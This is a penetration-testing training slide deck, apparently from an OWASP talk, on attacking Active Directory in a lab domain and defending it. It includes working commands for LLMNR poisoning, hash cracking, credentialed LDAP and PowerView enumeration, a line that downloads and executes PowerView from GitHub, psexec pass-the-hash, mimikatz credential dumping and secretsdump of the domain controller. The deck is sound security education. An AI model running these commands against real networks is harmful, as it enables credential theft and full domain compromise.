Offensive Active Directory 101
Disclaimer
About me:
➢ Previously:
  ➢ Professional at Deloitte
➢ 5 years pentesting experience
➢ OSCP Certified
➢ Currently researching Purple Teaming topics

Daily work:
➢ Coordination and management of Penetration tests
➢ Performance of penetration tests
  ➢ Infrastructure
  ➢ Web
  ➢ Rich-Client
➢ Security assessments of Active Directory environments
Agenda
pwny.corp - Attack

Basics
- What is Active Directory?
- Attack Landscape
- Active Directory Kill Chain

Phase 1 – Unauthorized User
- AD Enumeration without credentials
- Gaining initial Access

Phase 2 - Unprivileged User
- Taking advantage of LDAP
- Lateral movement techniques
- Basics NTLM Relay

Phase 3 - Privileged User
- Looting the thing

Mitigations
Basics

What is Active Directory and who uses it?
Basics

What is Active Directory?

➢ Microsofts answer to directory services

➢ Active directory is a hierarchical structure to store objects to:
  » Access and manage resources of an enterprise
  » Resources like: Users, Groups, Computers, Policies etc...

➢ 95% percent of Fortune 1000 companies use Active Directory

➢ Active Directory relies on different technologies in order to provide all features:
  » LDAP
  » DNS

➢ More information about the basics:
  » https://blogs.technet.microsoft.com/ashwinexchange/2012/12/18/understanding-active-directory-for-beginners-part-1/
AD contains lot of juicy information about resources of an organization
Following an overview about existing objects in AD:
The global catalog provides a central repository of domain information
The global catalog provides a resource for searching an Active Directory forest
LDAP queries use the global catalog to search for information
Domain-Users have read access to the global catalogue

➢ Go Hunting?

• Domain admins
• Enterprise admins
• Built-in administrators
• Account Operators
• Allowed RODC Password Replication Group
• Backup Operators
• DnsAdmins
• ...
AD environments can be way more complex than that... Think about all the services it provides.
Great attack landscape
Active directory kill chain

Broad landscape of attacks

➢ Focus of this talk

https://docs.microsoft.com/de-de/advanced-threat-analytics/ata-threats
Active directory kill chain

Broad landscape of attacks

➢ Focus of this talk
Phase 1
Unauthorized User aka „Getting creds“
Phase 1
Starting Point

Notebooks
Workstations
Attacker
DC
Terminal Server
Exchange
Phase 1 - Unauthorized User
Enumerate – Common Network traffic

➢ Check out what network protocols are running and analyse for potential weaknesses
Phase 1 - Unauthorized User
Enumerate DHCP

➢ DHCP info

```bash
[root:@/OWASP/impacket/examples]# nmap --script broadcast-dhcp-discover
Starting Nmap 7.70 (https://nmap.org) at 2018-05-24 18:19 CEST
Pre-scan script results:
 broadcast-dhcp-discover:
  Response 1 of 1:
  IP Offered: 10.0.3.105
  DHCP Message Type: DHCP.offerer
  Subnet Mask: 255.255.255.0
  Renewal Time Value: 0s
  Rebinding Time Value: 0s
  IP Address Lease Time: 1s
  Server Identifier: 10.0.3.200
  Router: 10.0.3.1
  Domain Name Server: 10.0.3.200, 1.1.1.1
  WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.30 seconds
```
Phase 1 - Unauthorized User

Enumerate DNS

DNS recon

```
[root@:-]# dnsrecon -r 10.0.3.0/24 -n 10.0.3.200
[*] Reverse Look-up of a Range
[*] Performing Reverse Lookup from 10.0.3.0 to 10.0.3.255
[*] PTR winpwn_pwny_lab 10.0.3.100
[*] PTR workstation04.pwny.lab 10.0.3.105
[*] PTR workstation03.pwny.lab 10.0.3.103
[*] PTR workstation01.pwny.lab 10.0.3.104
[*] PTR pwnylabdc01.pwny.lab 10.0.3.200
[+] 5 Records Found
```
Phase 1 - Unauthorized User
Enumerate – Metadata from LDAP

➢ Get some information from the LDAP service
➢ This information is necessary for other devices that want to join the domain

```
[root@:/OwASP/impacket/examples]# ldapsearch -LLL -x -H ldap://pwny.lab -b "" -s base "(objectclass=*)"
```
Phase 1 - Unauthorized User
Enumerate – Metadata from LDAP

➢ Forest functionality level is set based on the highest OS functionality level a domain can support

Phase 1 - Unauthorized User
Results – AD Recon

➢ Results:
   » Domain name pwny.lab
     » Domain Controller: pwnylabdc01.pwny.lab (10.0.3.200)
     » Subnetz: 10.0.3.0/24
     » Router: 10.0.3.1
     » DC functionality level: Windows Server 2012
   » Network clients:
     » workstation01.pwny.lab
     » workstation04.pwny.lab
Phase 1 - Unauthorized User
Gaining Access – Lots of opportunities to get initial access

SECURITY HOLES EVERYWHERE!
There are many different ways to steal user credentials like:

» Rouge devices
» Password spraying
» Default passwords (Tomcat, Jenkins & Co)
» Missing patches
» Cleartext passwords on file share
» Vulnerable web application
» Kerberoasting
» Social Engineering
» Phishing
» MITM
» Vulnerable software versions

Have a look at the MITRE Attack Matrix

» https://attack.mitre.org/wiki/Initial_Access
Phase 1 - Unauthorized User
Gaining Access – DNS Fallbackprotocols

LLMNR, NBNS & Co.

➢ DNS-Fallbackprotocols
  ▪ Link Local Multicast Name Resolution (LLMNR)
  ▪ NETBIOS Name Service (NBNS)
  ▪ mDNS

➢ LLMNR & NBNS allow name resolution of failed DNS requests
  • Leveraging other computers in a network
Network Layer Protection Analysis & Attack

Ablauf einer Namensauflösung

➢ Name Resolution Process:

- Lokale „hosts“ Datei
- DNS Server
- Fallback Protocols: LLMNR/NBNS/mDNS

➢ Usage of LLMNR & NBNS in the PWNY.corp network
Network Layer Protection Analysis & Attack

LLMNR/NBNS Poisoning Attack

1. Connect to //filsrv
2. I don’t know that one
3. Anyone know //filsrv?
4. Yes! It’s right here!
5. OK! Here are my credentials
Demo
Stealing credentials abusing LLMNR/NBTNS
Phase 1 - Unauthorized User

Gaining Access

➢ Analysing and cracking the hashes

➢ Cracking the hashes

---

```
[*] (LKMV) Poisoned answer sent to 10.8.3.104 for name HELLO-OMASP-ITS-DEATH-4898

[*] (LKMV) Poisoned answer sent to 10.8.3.104 for name HELLO-OMASP-ITS-JARAR-BINKS-4000

[*] (LKMV) Poisoned answer sent to 10.8.3.104 for name HELLO-OMASP-ITS-FISH-1234

[*] (LKMV) Poisoned answer sent to 10.8.3.104 for name HELLO-OMASP-ITS-CHEN5A-US

Session......: hashcat
Status.........: Exhausted
Hash.Type.....: NetNTLMv2
Hash.Target...: /usr/share/responder/logs/SMBv2-NTLMv2-SSP-10.8.3.104.txt

Time.Started.: Mon May 28 11:30:43 2018 (3 secs)
Time.Estimated.: Mon May 28 11:30:46 2018 (6 secs)
Guess.Base....: /File (/usr/share/wordlists/rockyou_most_common.txt)
Guess.Queue...: 1/1 (100.00%)
Speed.Dev. #1.: 172.6 k/sec (11.0ms) @ Accel:1024 Loops; Thr:1 Vec:8
Recovered......: 54/111 (48.65%) Digests, 54/111 (48.65%) Salts
Progress......: 1110111100000000 (100.00%)
Rejected......: 0/11101111 (0.00%)
Restore.Point..: 10001/10000 (100.00%)
Candidates.#1..: becky1 -> Welcome2015

MonMonDev.#1.: N/A
```

---

```
Phase 1 - Unauthorized User

Results:

➢ Valid user account with password
  » PWNY\jar.jar-binks:Welcome2015

➢ Users password hashes for:
  » PWNY\darth.vader
  » PWNY\obi-wan.kenobi
  » PWNY\chewbacca
Phase 2 – Unprivileged Users

Taking advantage of LDAP
During phase 1, it was possible to compromise an unprivileged user account
  » Not a local admin on any machine
  » Not a member of any sensitive group

What can you do with this?
  » Login to webmail/user-mailbox
    » Ruler
  » Enumerate available SMB-shares
    » SMBMap
    » CrackMapExec
  » Use available information in the Global Catalog to your advantage
Phase 2 – Unprivileged user
Taking advantage of LDAP

➢ Use available information in the Global Catalog to your advantage
➢ LDAP is the underlying directory access protocol in AD
➢ There are no special privileges needed to bind to LDAP - any valid account can read the entire directory! (by default)
➢ Create very flexible queries using LDAP...
➢ Examples:
  » Get a list of all domain users that contain *adm* in their account name
  » Get a list of all domain groups that contain *adm*
  » Get a list of all domain joined systems where operating system like *XP* or *2000*
  » Show all groups a user is memberOf
  » Recursively lookup all members of a group
  » Show all user that have a description like *pass* or *pw*
Phase 2 – Unprivileged user
Lateral movement - Taking advantage of LDAP

Get a list of all domain users
ldapsearch -LLL -x -H ldap://pwnylabdc01.pwny.lab -D "jar-jar.binks@pwny.lab" -w Welcome2015 -b dc=pwny,dc=lab "(objectClass=user)" sAMAccountName userPrincipalName memberOf

Get a list of all domain groups
ldapsearch -LLL -x -H ldap://pwnylabdc01.pwny.lab -D "jar-jar.binks@pwny.lab" -w Welcome2015 -b dc=pwny,dc=lab "(objectClass=group)" sAMAccountName member memberOf

Get a list of all domain joined systems
ldapsearch -LLL -x -H ldap://pwnylabdc01.pwny.lab -D "jar-jar.binks@pwny.lab" -w Welcome2015 -b dc=pwny,dc=lab "(objectClass=computer)" name dNSHostname operatingSystem operatingSystemVersion lastLogonTimestamp servicePrincipalName

Recursively lookup all members of a group
ldapsearch -LLL -x -H ldap://pwnylabdc01.pwny.lab -D "jar-jar.binks@pwny.lab" -w Welcome2015 -b dc=pwny,dc=lab "(&((objectClass=user)(memberof:1.2.840.113556.1.4.1941:=CN=Domänen-Admins,CN=Users,DC=PWNY,DC=LAB)))" | grep sAMAccountName | cut -d "" -f2

Show all groups a user is memberOf
ldapsearch -LLL -x -H ldap://pwnylabdc01.pwny.lab -D "jar-jar.binks@pwny.lab" -w Welcome2015 -b dc=pwny,dc=lab "((sAMAccountName=darth.vader))" sAMAccountName userPrincipalName memberOf | grep memberOf | cut -d "=" -f2 | cut -d "," -f1

Phase 2 – Unprivileged user
Lateral movement - Taking advantage of LDAP

➢ Another nice tool for manual analysis is Active Directory Explorer from Sysinternals
  » You can use AD Explorer to easily navigate through the global catalog
    » Nice GUI to explore the environment
    » Define favorite locations
    » View object properties and attributes without having to open dialog boxes
    » Edit permissions
    » View an object's schema, and execute sophisticated searches, that you can save and re-execute.
Phase 2 – Unprivileged user
Lateral movement - Taking advantage of LDAP
Phase 2 – Unprivileged user

Lateral movement - Taking advantage of LDAP
PowerView is a PowerShell tool to gain network situational awareness on Windows domains

- No administrative credentials required
- My personal favorite
- Very useful for both “Blue” and “Red” Teams
- It contains a load of useful functions to identify possible issues in AD environments
  - net * Functions
  - GPO functions
  - User-Hunting Functions
  - Domain Trust Functions
  - MetaFunctions

More details can be found at:
  - https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
Run PowerView from a non-domain computer

Download
iex(iwr("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1"))

# Use an alterate credenntial for any PowerView function
$SecPassword = ConvertTo-SecureString 'Welcome2015' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('PWNY\jar-jar.binks', $SecPassword)

# Check if everything works
Get-NetDomain -Credential $Cred #test
Phase 2 – Unprivileged user
Lateral movement - PowerView

➢ Enumerate all users, can be used for:
  » Phishing and other social engineering attacks
  » Password spraying
  » ... be creative

# Get all the users
Get-NetUser -Credential $Cred | Format-Table name, samaccountname, userprincipalname, description
Phase 2 – Unprivileged user
Taking advantage of LDAP

➢ All this information can be re-used for further attacks...
➢ For example:
  » Usernames
    » Password spraying
  » Phone numbers
    » Social engineering
  » Mail addresses
    » Phishing attacks
Enumerate what groups a specific user is member of

```powershell
# List all groups of a specific user
Get-DomainGroup -MemberIdentity darth.vader -Credential $Cred | Format-Table cn

PS C:\Users\Administrator.WORKSTATION02> Get-DomainGroup -MemberIdentity darth.vader

<table>
<thead>
<tr>
<th>cn</th>
</tr>
</thead>
<tbody>
<tr>
<td>Domänen-Benutzer</td>
</tr>
<tr>
<td>Marketing</td>
</tr>
<tr>
<td>Research and Development</td>
</tr>
</tbody>
</table>

PS C:\Users\Administrator.WORKSTATION02> Get-DomainGroup -MemberIdentity chewbacca

<table>
<thead>
<tr>
<th>cn</th>
</tr>
</thead>
<tbody>
<tr>
<td>Domänen-Benutzer</td>
</tr>
</tbody>
</table>
```
Phase 2 – Unprivileged user
Lateral movement - PowerView

➢ Enumerate existing groups

# Get all existing groups
get-netgroup -Credential $Cred | Format-Table cn, distinguishedname, description
get-netgroup *adm* -Credential $Cred | Format-Table cn, distinguishedname, description
Phase 2 – Unprivileged user

Lateral movement - PowerView

Enumerate what groups a specific user is member of

# List all members of a specific group
Get-NetGroupMember -Identity "Domänen-Admins" -Recurse -Credential $Cred | Format-Table GroupName, MemberDomain, MemberName

<table>
<thead>
<tr>
<th>GroupName</th>
<th>MemberDomain</th>
<th>MemberName</th>
</tr>
</thead>
<tbody>
<tr>
<td>Domänen-Admins</td>
<td>pwny.lab</td>
<td>luke.skywalker</td>
</tr>
<tr>
<td>Domänen-Admins</td>
<td>pwny.lab</td>
<td>shirsch</td>
</tr>
<tr>
<td>Domänen-Admins</td>
<td>pwny.lab</td>
<td>mfriedman</td>
</tr>
<tr>
<td>Domänen-Admins</td>
<td>pwny.lab</td>
<td>sbeyer</td>
</tr>
<tr>
<td>Domänen-Admins</td>
<td>pwny.lab</td>
<td>ckrueger</td>
</tr>
<tr>
<td>Domänen-Admins</td>
<td>pwny.lab</td>
<td>mdresner</td>
</tr>
<tr>
<td>Domänen-Admins</td>
<td>pwny.lab</td>
<td>Administrator</td>
</tr>
</tbody>
</table>

Get-NetGroupMember -Identity "adm_workstations" -Recurse -Credential $Cred | Format-Table GroupName, MemberDomain, MemberName

<table>
<thead>
<tr>
<th>GroupName</th>
<th>MemberDomain</th>
<th>MemberName</th>
</tr>
</thead>
<tbody>
<tr>
<td>adm_workstations</td>
<td>pwny.lab</td>
<td>obi-wan.kenobi</td>
</tr>
<tr>
<td>adm_workstations</td>
<td>pwny.lab</td>
<td>rboral</td>
</tr>
<tr>
<td>adm_workstations</td>
<td>pwny.lab</td>
<td>tdiedrich</td>
</tr>
<tr>
<td>adm_workstations</td>
<td>pwny.lab</td>
<td>klgagal</td>
</tr>
<tr>
<td>adm_workstations</td>
<td>pwny.lab</td>
<td>pbohm</td>
</tr>
<tr>
<td>adm_workstations</td>
<td>pwny.lab</td>
<td>omigogoh</td>
</tr>
<tr>
<td>adm_workstations</td>
<td>pwny.lab</td>
<td>pfoerster</td>
</tr>
<tr>
<td>adm_workstations</td>
<td>pwny.lab</td>
<td>tkardis</td>
</tr>
<tr>
<td>adm_workstations</td>
<td>pwny.lab</td>
<td>jostermann</td>
</tr>
</tbody>
</table>
Go for a hunt and check out users that have active sessions work computers

# Go hunting for active user sessions
Invoke-UserHunter -showall -Credential $cred -ComputerName workstation04 | Format-Table -Property userdomain, username, computername, ipaddress

<table>
<thead>
<tr>
<th>UserDomain</th>
<th>UserName</th>
<th>ComputerName</th>
<th>IPAddress</th>
</tr>
</thead>
<tbody>
<tr>
<td>PWNY</td>
<td>luke.skywalker</td>
<td>workstation04</td>
<td>10.0.3.105</td>
</tr>
<tr>
<td>PWNY</td>
<td>luke.skywalker</td>
<td>workstation04</td>
<td>10.0.3.105</td>
</tr>
<tr>
<td>PWNY</td>
<td>luke.skywalker</td>
<td>workstation04</td>
<td>10.0.3.105</td>
</tr>
<tr>
<td>PWNY</td>
<td>luke.skywalker</td>
<td>workstation04</td>
<td>10.0.3.105</td>
</tr>
</tbody>
</table>

Remember that one??

PS C:\Users\darth.vader> # Get the domain admins
PS C:\Users\darth.vader> Get-NetGroupMember -Identity "Domänen-Admins" -Recurse -Credential $cred me, memberdomain, membername

<table>
<thead>
<tr>
<th>GroupName</th>
<th>MemberDomain</th>
<th>MemberName</th>
</tr>
</thead>
<tbody>
<tr>
<td>Domänen-Admins</td>
<td>pwny.lab</td>
<td>luke.skywalker</td>
</tr>
<tr>
<td>Domänen-Admins</td>
<td>pwny.lab</td>
<td>pwncadm</td>
</tr>
</tbody>
</table>
Phase 2 – Unprivileged user

Lateral movement - PowerView

➢ List members of local groups of any system that has joined the domain

# List all members of a specific local group
Get-NetLocalGroupMember -ComputerName workstation04 -GroupName Administratoren -Credential $Cred | Format-Table membername, isgroup, isdomain

PS C:\Users\Administrator.WORKSTATION02\> Get-NetLocalGroupMember -ComputerName workstation04 -GroupName Administratoren -Credential $Cred | Format-Table membername, isgroup, isdomain

WARNING: [Invoke-UserImpersonation] Executing LogonUser() with user: PWNY\jar-jar

<table>
<thead>
<tr>
<th>Workstation04\helpdesk</th>
<th>False</th>
<th>True</th>
</tr>
</thead>
<tbody>
<tr>
<td>PWNY\Dom\Administratoren</td>
<td>False</td>
<td>True</td>
</tr>
<tr>
<td>PWNY\adm_workstations</td>
<td>False</td>
<td>True</td>
</tr>
</tbody>
</table>

WARNING: [Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser

➢ Remember that one??

PS C:\Users\darth.vader> Get-NetGroupMember -Identity adm_workstations -Recurse -Credential $Cred | Format-Table GroupName, MemberDomain, Membername

<table>
<thead>
<tr>
<th>GroupName</th>
<th>MemberDomain</th>
<th>Membername</th>
</tr>
</thead>
<tbody>
<tr>
<td>adm_workstations</td>
<td>pwny.lab</td>
<td>obi-wan.kenobi</td>
</tr>
<tr>
<td>adm_workstations</td>
<td>pwny.lab</td>
<td>tdliederich</td>
</tr>
<tr>
<td>adm_workstations</td>
<td>pwny.lab</td>
<td>klagal</td>
</tr>
</tbody>
</table>
Key takeaway of the enumeration

» obi-wan.kenobi is member of the adm_workstations group
» All members of the adm_workstations group have administrative rights on the workstation04.pwny.lab system
» luke.skywalker who is member of “Domain Administrators” and has an active session on workstation04.pwny.lab
Phase 2 – Unprivileged user

Lateral movement - Bloodhound

- BloodHound enumerates the whole AD with normal user privileges and exports it into a graph.
- BloodHound requires the following sets of information from an Active Directory:
  - Who is logged on where?
  - Who has admin rights where?
  - What users and groups belong to what groups?
- All this information can be extracted with normal user privileges.
- This tool becomes very useful in more complex environments

https://github.com/BloodHoundAD/BloodHound/wiki/Getting-started
Perform the following steps to use Bloodhound:

1. Use “Bloodhound PowerShell ingestor” to collect the data
   a. Possible without administrative privileges (in most cases)

2. Setup neo4j and bloodhound
   a. Instructions: [https://github.com/BloodHoundAD/Bloodhound/wiki](https://github.com/BloodHoundAD/Bloodhound/wiki)

3. Run bloodhound and import the data
Phase 2 – Unprivileged user

Lateral movement - Bloodhound

Pre-Built Analytics Queries

Find all Domain Admins
Find Shortest Paths to Domain Admins
Find logged in admins
Find Top 10 Users with Most Sessions
Find Top 10 Computers with Most Sessions
Find Top 10 Users with Most Local Admin Rights
Find Top 10 Computers with Most Admins
Phase 2 – Unprivileged user

Lateral movement - Bloodhound
Phase 2 – Lateral Movement

NTLM-Relay to move lateral within a network
What are the requirements for it to work?

» SMB Signing has to be deactivated on our target
  » By default disabled on all workstations and servers except of DC’s
» Authentication needs to be done with a user that has administrative privileges on the target in order to get RCE

Attacks to enforce authentication:

» LLMNR/NBNS Poisoning
» UNC Path Injection
  » Websites – XSS, HTML injection, Directory Traversal, SQL injection etc.
  » Office Documents etc.
  » MITM
» Open redirect

Conclusion

» Force the victim to authenticate the attackers (maybe your) machine

https://blog.netspi.com/10-places-to-stick-your-unc-path/
NTLM Relay
Forcing authentication using LLMNR/NBNS Poisoning Attack

1. Connect to //filsrv

2. I don’t know that one

3. Anyone know //filsrv?

4. Yes! It’s right here!

5. OK! Here are my credentials

Victim
Attacker
Network-Clients
DNS Server
User: obi-wan.kenobi

1. This is obi-wan.kenobi, I’d like to Login

2. If you are really obi-wan.kenobi, then encrypt this challenge with obi-wan.kenobi’s PW Hash

3. Here is the encrypted challenge

4. Here is the challenge and response of obi-wan.kenobi is that valid?

5. I have compared obi-wan.kenobi’s challenge & response and it is valid/invalid!

6. Access Granted/Denied

**Table:**

<table>
<thead>
<tr>
<th>Protocol</th>
<th>Algorithm</th>
<th>Secret to use</th>
</tr>
</thead>
<tbody>
<tr>
<td>LM</td>
<td>DES-ECB</td>
<td>Hash LM</td>
</tr>
<tr>
<td>NTLm1</td>
<td>DES-ECB</td>
<td>Hash NT</td>
</tr>
<tr>
<td>NTLm2</td>
<td>HMAC-MD5</td>
<td>Hash NT</td>
</tr>
</tbody>
</table>
NTLM Relay
Authentication Process – NETNTLMv1/v2 - Malicious

User: obi-wan.kenobi

1. This is obi-wan.kenobi, I’d like to Login

2. This is obi-wan.kenobi, I’d like to Login

4. Encrypt this challenge with obi-wan.kenobi’s PW Hash

5. Here is the encrypted challenge

3. Encrypt this challenge with obi-wan.kenobi’s PW Hash

6. Here is the encrypted challenge

7. Here is the challenge and response of obi-wan.kenobi is that valid?

8. I have compared obi-wan.kenobi’s challenge & response and it is valid!

9. Access Granted!

10. Access DENIED!

Result: Remote Code Execution
NTLM Relay
Authentication Process – NETNTLMv1/v2 - Malicious

➢ Impacket
  » Awesome, collection of python scripts for working with network protocols
  » https://github.com/CoreSecurity/impacket

➢ What protocols are featured?
  » Ethernet, Linux "Cooked" capture.
  » IP, TCP, UDP, ICMP, IGMP, ARP. (IPv4 and IPv6)
  » NMB and SMB1/2/3 (high-level implementations).
  » DCE/RPC versions 4 and 5, over different transports: UDP (version 4 exclusively), TCP, SMB/TCP, SMB/NetBIOS and HTTP.
  » Portions of the following DCE/RPC interfaces: Conv, DCOM (WMI, OAUTH), EPM, SAMR, SCMR, RRP, SRVSC, LSAD, LSAT, WKST, NRPC
Demo

NTLM Relay
**NTLM Relay**

Results of the attack

- We dropped the hashes of the local SAM database on workstation04
- Can be used to Pass-the-Hash
- By default, Windows Vista and higher no longer store LM hashes on disk
- Benchmark on NTLM Hash with Sagitta Brutalis 1080 (8x GF GTX 1080) → 330 GH/s on NTLM (Hashcat)

**The algorithm**

```
MD4 (UTF-16-LE(password))

user:--------- LM Hash ------ NTHash (aka NTLM Hash) ----:
```
NTLM Relay
Using ntlmrelayx.py

- NTLM Relay
  - Relaying hashes is possible
  - ntlmrelayx.py also offers option to run arbitrary commands on the system
  - if the user is not admin you won’t get RCE, however you can relay to other services like:
    - LDAP
    - IMAP
    - MSSQL
    - SMB
Pass-the-Hash

Using psexec.py to Pass-the-Hash
Pass-the-hash
Using psexec.py to Pass-the-Hash and drop a shell

➢ Run psexec and Pass-the-Hash
  » helpdesk:500:aad3b435b51404eeaad3b435b51404ee:94c2605ea71fca715caacfaa92088150:::

# Pass-the-Hash with psexec
python psexec.py helpdesk@workstation03 -hashes aad3b435b51404eeaad3b435b51404ee:94c2605ea71fca715caacfaa92088150

```
[root:~@/OWASP/impacket/examples]# python psexec.py helpdesk@workstation04 -hashes aad3b435b51404eeaad3b435b51404ee:94c2605ea71fca715caacfaa92088150
`
Key takeaway after Pass-the-Hash to workstation04

- We have local administrative rights on workstation04 and can execute code
- The “Domain Admin” luke.skywalker is working on this computer
Phase 3 – Privileged Access

Keep moving laterally abusing local admin privileges
Phase 3 – Privileged user (local)
Lateral movement – Hunting down the Domain Administrators

➢ Administrative access to a computer means we can read process memory

» Dumping memory contents of lsass.exe & extracting credentials
  » Sysinternals ProcDump creates a minidump of the target process
  » Use Mimikatz to extract the credentials from it
  » Will not trigger AV

» Use Mimikatz in Metasploit to dump the credentials
  » Might trigger AV

http://blog.gentilkiwi.com/mimikatz
Demo
Dump creds with mimikatz
Phase 3 – Privileged user (local)

Lateral movement – Hunting down the Domain Administrators

➢ Run psexec and Pass-the-Hash

# Dumping creds in with meterpreter in metasploit using mimikatz (make sure you use an privileged account)
getsystem
load mimikatz
mimikatz command -f privilege::debug
mimikatz command -f sekurlsa::logonPasswords

http://blog.gentilkiwi.com/mimikatz
Key takeaway of after dumping the creds

» We have valid credentials for the user luke.skywalker

» luke.skywalker is member of the “Domain Admin” group, so we have administrative access to the domain controller
Phase 3 – Privileged User

Looting the thing
Phase 3 – Privileged user (domain)

Looting the thing – secretsdump.py

➢ We have administrative access to the domain controller

➢ What now? Do you want persistence?
  » Dumping all user hashes
  » Creation of golden tickets
On workstations:

- `secretsdump.py` can be used to dump SAM/LSA secrets remotely.
- Performs various techniques to dump hashes from a remote machine without executing any agent there.

On DCs it will also:

- For NTDS.dit it will either:
  - a) Get the domain users list and get all hashes of all domain users (including historical ones) as well as Kerberos keys
    - a) MS Directory Replication Service (MS-DRS) Remote Protocol
  - b) Extract NTDS.dit
    - a) vssadmin executed with the smbexec approach
Demo

Dumping all the hashes – secretsdump.py
Run `secretsdump.py` with administrative creds on the domain controller

```
# Dumping hashes of all domain users (including password history hashes)
python secretsdump.py pwny/luke.skywalker@pwnylabdc01
```
Mitigations
Preventing – AD Attacks 101
Phase 3 – Mitigations
Don’t let it come so far

➢ **Compromise** of just one Domain Admin account in the Active Directory exposes the entire organization to risk
  
  » The attacker has unrestricted access to all resources managed by the domain, all users, servers, workstations and data
  
  » The attacker could instantly establish **persistence** in the Active Directory environment, which is difficult to notice and cannot be efficiently remediated with guarantees.

“Once domain admin, always domain admin”
Phase 3 – Mitigations
Defense against Responder attacks

➢ **Disable LLMNR and NBT-NS**
  - You need to disable both, because if LLMNR is disabled, it will automatically attempt to use NBT-NS instead
  - Disable LLMNR via Group Policy
  - Disabling NetBios cannot be done via GPO

➢ **Limiting communication between workstations on the same network**
  - Reduces attack surface

➢ **Mitigation against WPAD**
  - Disable WPAD via Group Policy
  - Add DNS record “wpad” in your DNS zone
  - Only allow secure dynamic updates – Dynamic updates “Secure only”

➢ **Never let anyone perform non-administrative tasks with privileged accounts**

https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
Phase 3 – Mitigations
Defense against NTLM Relay attacks

➢ Disable NTLM entirely, use Kerberos
  » Not really easy to implement

➢ Enable SMB signing, where possible
  » Can be done via Group Policy
  » Please consider compatibility of other network devices before enabling SMB Signing
  » SMB signing will prevent relaying to SMB by requiring all traffic to be signed

➢ Enable LDAP signing
  » LDAP signing prevents unsigned connections to LDAP

➢ More on NTLM relay and mitigations
Phase 3 – Mitigations
Defense against lateral movement

➢ **Deploy (Microsoft Local Administrator Password Solution)**
  » Provides a solution to the issue of using a common local account with an identical password on every computer in a domain

➢ **Do not allow the use of privileged accounts to perform non-administrative tasks**
  » Provide admins with separate accounts to perform administrative duties

➢ **Educate your users to exhibit secure behavior**
  » Good luck with that one :D

➢ **Deactivate the Built-in Admin**

➢ **Restrict domain and enterprise admin accounts from authenticating to less trusted computers**

➢ **Establish Strong Password policies (complexity, history, expiration)**

➢ **Do not configure services or schedule tasks to use privileged domain accounts on lower trust computers**
Use PowerView, Bloodhound or similar tool to understand your environment

» Who has admin rights? Domain-wide? Local?
  » Do they really need those privileges?
  » Do they still work here?

» Who can log into DC`s

» Is there a policy to avoid logins into untrusted systems with domain privileged accounts?

» Limit service accounts privileges

» Did all admins get a proper introduction into AD Security?

» Any SMB Shares accessible anonymously?
Phase 3 – Mitigations
Detection of advanced attacks - Microsoft Advanced Threat Analytics

➢ Port mirroring from Domain Controllers and DNS servers to the ATA Gateway and/or
➢ Deploying an ATA Lightweight Gateway (LGW) directly on Domain Controllers
➢ More information to Microsoft ATA
   » https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata
Phase 3 – Mitigations

Admin checklist
Phase 3 – Mitigations
Defense against lateral movement

➢ Read this:

» Mitigating Pass-the-Hash and other Credential Theft, version 2
Credits

Shoutouts to the titans in this area
Phase 3 – Mitigations
Thank you for this journey

➢ **Huge shoutouts to:**
  » @ciyinet – Providing great slides
  » @gentilkiwi – Mimikatz
  » @agsolino – Creator of Impacket
  » @TimMedin – Great talks
  » @PyroTek3 – AD Security
  » @nikhil_mitt – Powershell Training
  » @byt3bl33d3r – CrackMapExec

and many more...
Questions?